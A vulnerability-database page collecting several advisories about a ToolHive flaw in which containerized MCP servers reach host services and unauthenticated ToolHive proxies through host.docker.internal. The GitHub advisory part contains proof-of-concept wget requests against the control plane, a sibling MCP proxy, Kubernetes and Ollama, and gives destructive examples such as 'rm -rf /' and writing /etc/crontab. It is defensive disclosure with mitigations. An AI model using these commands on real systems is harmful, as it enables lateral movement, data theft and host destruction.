ToolHive: containerized MCP servers can reach host services via host.docker.internal, enabling lateral movement

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

ToolHive is a utility designed to simplify the deployment and management of Model Context Protocol servers. Prior to ToolHive CLI 0.30.1 and ToolHive Studio 0.38.0, locally run MCP server containers use the default network permission profile without network isolation, permitting access to host.docker.internal while ToolHive API and MCP proxy endpoints are reachable without authentication. A malicious or compromised MCP server can use the Docker gateway to contact host-local services, other ToolHive-managed MCP proxies, or the ToolHive control plane without escaping the container. This access can expose data and logs, invoke sibling MCP tools, alter process or workload state, and disrupt services. ToolHive Studio additionally sends network_isolation as false and overrides the backend's secure isolation default. This issue is fixed in ToolHive CLI 0.30.1 and ToolHive Studio 0.38.0.

Source published

18 Sep 2026 16:34:55 UTC

Source modified

18 Sep 2026 16:51:27 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 8.8 CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

ToolHive is a utility designed to simplify the deployment and management of Model Context Protocol servers. Prior to ToolHive CLI 0.30.1 and ToolHive Studio 0.38.0, locally run MCP server containers use the default network permission profile without network isolation, permitting access to host.docker.internal while ToolHive API and MCP proxy endpoints are reachable without authentication. A malicious or compromised MCP server can use the Docker gateway to contact host-local services, other ToolHive-managed MCP proxies, or the ToolHive control plane without escaping the container. This access can expose data and logs, invoke sibling MCP tools, alter process or workload state, and disrupt services. ToolHive Studio additionally sends network_isolation as false and overrides the backend's secure isolation default. This issue is fixed in ToolHive CLI 0.30.1 and ToolHive Studio 0.38.0.

Source published

Sep 18, 2026, 4:34:55 PM (timezone not stated)

Source modified

Sep 18, 2026, 4:51:27 PM (timezone not stated)

Observed here

11 Nov 2026 14:59:37 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 8.8 CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

ToolHive is a utility designed to simplify the deployment and management of Model Context Protocol servers. Prior to ToolHive CLI 0.30.1 and ToolHive Studio 0.38.0, locally run MCP server containers use the default network permission profile without network isolation, permitting access to host.docker.internal while ToolHive API and MCP proxy endpoints are reachable without authentication. A malicious or compromised MCP server can use the Docker gateway to contact host-local services, other ToolHive-managed MCP proxies, or the ToolHive control plane without escaping the container. This access can expose data and logs, invoke sibling MCP tools, alter process or workload state, and disrupt services. ToolHive Studio additionally sends network_isolation as false and overrides the backend's secure isolation default. This issue is fixed in ToolHive CLI 0.30.1 and ToolHive Studio 0.38.0.

Source published

18 Sep 2026 17:16:57 UTC

Source modified

24 Sep 2026 21:25:27 UTC

Observed here

25 Oct 2026 14:19:16 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.8 CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

## Summary A containerized MCP server running with the default `network` permission profile (`insecure_allow_all: true`) can reach host-local services via `host.docker.internal`. This includes the ToolHive API itself, other ToolHive-managed MCP server proxies, and any other service listening on the host's localhost. Combined with the unauthenticated ToolHive API and MCP proxy endpoints, this enables a compromised or malicious MCP server to perform lateral movement without any container escape. ## Severity **High** — This bypasses the container isolation model that is ToolHive's core security value proposition. ## Reproduction All tests performed from inside the `filesystem` MCP container (`docker.io/mcp/filesystem:latest`), started with default settings via `thv run filesystem -- /tmp`. ### 1. Container can reach the ToolHive control plane MCP endpoint ```bash $ docker exec <container_id> wget -qO- \ --header="Content-Type: application/json" \ --header="Accept: application/json" \ --post-data='{"jsonrpc":"2.0","method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"evil-mcp","version":"1.0"}},"id":1}' \ http://host.docker.internal:50444/mcp ``` **Result:** Full MCP handshake succeeds: ```json {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2025-03-26","capabilities":{"logging":{},"tools":{}},"serverInfo":{"name":"toolhive-mcp","version":"v0.9.3"}}} ``` ### 2. Container can connect to another MCP server's proxy and call its tools ```bash $ docker exec <container_id> wget -qO- \ --header="Content-Type: application/json" \ --header="Accept: application/json" \ --post-data='{"jsonrpc":"2.0","method":"tools/list","params":{},"id":2}' \ http://host.docker.internal:64965/mcp ``` **Result:** Returns the full tool list of the target MCP server (read_file, write_file, edit_file, move_file, etc.), and tools can be called: ```json {"jsonrpc":"2.0","id":3,"result":{"content":[{"text":"Allowed directories:\n/tmp","type":"text"}]}} ``` ### 3. Container can reach other host services ```bash # Kubernetes API $ docker exec <container_id> wget -qO- --no-check-certificate https://host.docker.internal:6443/version {"major":"1","minor":"34","gitVersion":"v1.34.1"...} # Ollama LLM API $ docker exec <container_id> wget -qO- http://host.docker.internal:11434/api/tags {"models":[{"name":"kimi-k2:1t-cloud"...}]} ``` ## Attack Scenarios ### Scenario 1: Malicious MCP server pivots to privileged native MCP tools Many users run native (non-containerized) MCP servers like Desktop Commander, terminal servers, or custom tools that have `execute_command`, `write_file`, or `shell` capabilities with full host access. These typically listen on localhost ports. A malicious containerized MCP server can: 1. Port-scan `host.docker.internal` to discover listening services 2. Attempt MCP handshakes on discovered ports 3. Call privileged tools (e.g., `execute_command("rm -rf /")` or `write_file("/etc/crontab", "...")`) This achieves **full host compromise without any container escape vulnerability**. ### Scenario 2: Compromised MCP server manipulates ToolHive itself Via the unauthenticated ToolHive MCP endpoint on port 50444, a compromised container could potentially: - List and stop other running MCP servers (denial of service) - Start new MCP servers with attacker-controlled images - Modify configurations ### Scenario 3: Data exfiltration via cross-MCP-server access A low-privilege MCP server (e.g., `sequentialthinking` with no file mounts) could reach the `filesystem` server's proxy and call `read_file` to access files it was never authorized to see. ### Scenario 4: LLM model theft / abuse As demonstrated, the container can reach Ollama's API and could enumerate models, run inference, or exfiltrate model weights from self-hosted LLMs. ## Root Causes 1. **`insecure_allow_all: true` as default** — permits outbound connections to any destination including `host.docker.internal` 2. **No authentication on ToolHive API / MCP proxies** — any client that can reach the port can interact fully 3. **Docker's `host.docker.internal` DNS** — resolves to the host machine, bypassing localhost-only binding assumptions ## Suggested Mitigations ### Short-term - **Block `host.docker.internal` and `172.17.0.1`** (Docker gateway) in container networking by default, even when `insecure_allow_all` is enabled. These should require explicit opt-in. - **Add authentication to MCP proxy endpoints** — even a shared secret or token per session would prevent cross-container lateral movement. ### Medium-term - **Network policy per container** — ToolHive already has the `permission_profile` infrastructure. Add support for explicit allow-lists rather than just the binary none/all choice. - **Isolate container networks** — run each MCP server in its own Docker network with no access to the Docker bridge gateway. ### Long-term - **Mutual TLS or token-based auth** between ToolHive proxy and containers, so even if network access exists, unauthorized MCP calls are rejected. - **Audit logging** — log all MCP tool calls with source identification so lateral movement attempts are visible. ## Environment - ToolHive v0.9.3 (macOS desktop app, Docker runtime) - Docker Desktop for Mac (host.docker.internal enabled by default) - Tested with `docker.io/mcp/filesystem:latest`

Source published

18 Sep 2026 17:16:02 UTC

Source modified

28 Sep 2026 17:10:42 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Publisher rating · HIGH

ToolHive: containerized MCP servers can reach host services via host.docker.internal, enabling lateral movement in github.com/stacklok/toolhive

Source published

28 Sep 2026 16:43:40 UTC

Source modified

28 Sep 2026 17:00:17 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.